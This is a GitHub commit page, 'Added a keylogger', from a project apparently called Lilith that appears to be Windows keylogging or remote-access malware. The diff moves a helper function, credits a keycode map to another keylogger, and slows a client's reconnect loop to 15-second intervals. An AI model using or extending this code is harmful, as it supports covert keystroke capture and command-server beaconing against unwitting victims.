Skip to content

Commit

Permalink
Added a keylogger
Browse files Browse the repository at this point in the history
  • Loading branch information
JulianGi committed Sep 14, 2017
1 parent 13582c5 commit fdb62c6
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 8 deletions.
16 changes: 10 additions & 6 deletions Lilith/keylogger.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -32,15 +32,13 @@ std::string Keylogger::DumpKeys()
return keys;
}

std::string Keylogger::intToString(int i) {
char buffer[4];
_itoa_s(i, buffer, 10);
return std::string(buffer);
}



void Keylogger::Logger()



void Keylogger::Logger()//keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp
{

std::ofstream file;
Expand Down Expand Up @@ -143,4 +141,10 @@ void Keylogger::Logger()
file.close();
}
}
}

std::string Keylogger::intToString(int i) {
char buffer[4];
_itoa_s(i, buffer, 10);
return std::string(buffer);
}
4 changes: 2 additions & 2 deletions Lilith/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -54,10 +54,10 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL
{
while (!MyClient.Connect())
{
Sleep(1);
Sleep(15000);
}
}
Sleep(1);
Sleep(15000);
}


Expand Down

0 comments on commit fdb62c6

Please sign in to comment.